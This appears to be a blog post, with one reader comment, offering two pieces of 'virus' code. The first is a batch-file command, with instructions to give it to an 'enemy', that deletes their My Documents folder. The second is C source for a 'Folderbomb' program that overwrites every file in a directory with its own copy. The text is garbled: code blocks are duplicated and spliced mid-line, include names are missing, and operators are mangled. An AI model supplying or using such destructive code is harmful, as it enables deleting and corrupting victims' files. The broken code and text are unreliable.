Hi Friends...! Today I am going to share with you something extremely interesting and fun. Here is the code of a virus that will  delete your MY DOCUMENTS folder and  the code of a simple program to create a virus in C, but here it should be noted that the information given here is specifically for educational purpose and is not meant to be used  illegally in any way possible...
Run this on your own responsibility*/
VIRUS CODE-1
IT DELETES THE           MY DOCUMENTS            FOLDER OF UR ENEMY.
HERE'S WHAT U SHOULD DO
HERE'S WHAT U SHOULD DO
OPEN           NOTEPAD AND            COPY-PASTE THE FOLLOWING CODE IN            IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extension.
I MEAN SAVE IT LIKE VIRUS.BAT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extension.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.
Code Is Below
rmdir C:\Documents and Settings \S\Q.
                      Run this on your own responsibility*/
VIRUS CODE-2
/*This            is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Ukrish(asys@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
           write(target,buf,byt);It will create Folder in a Folder in a Folder and so on ......
#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Ukrish(asys@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
 
 
after it is deleted ...... how to get it back....
ReplyDelete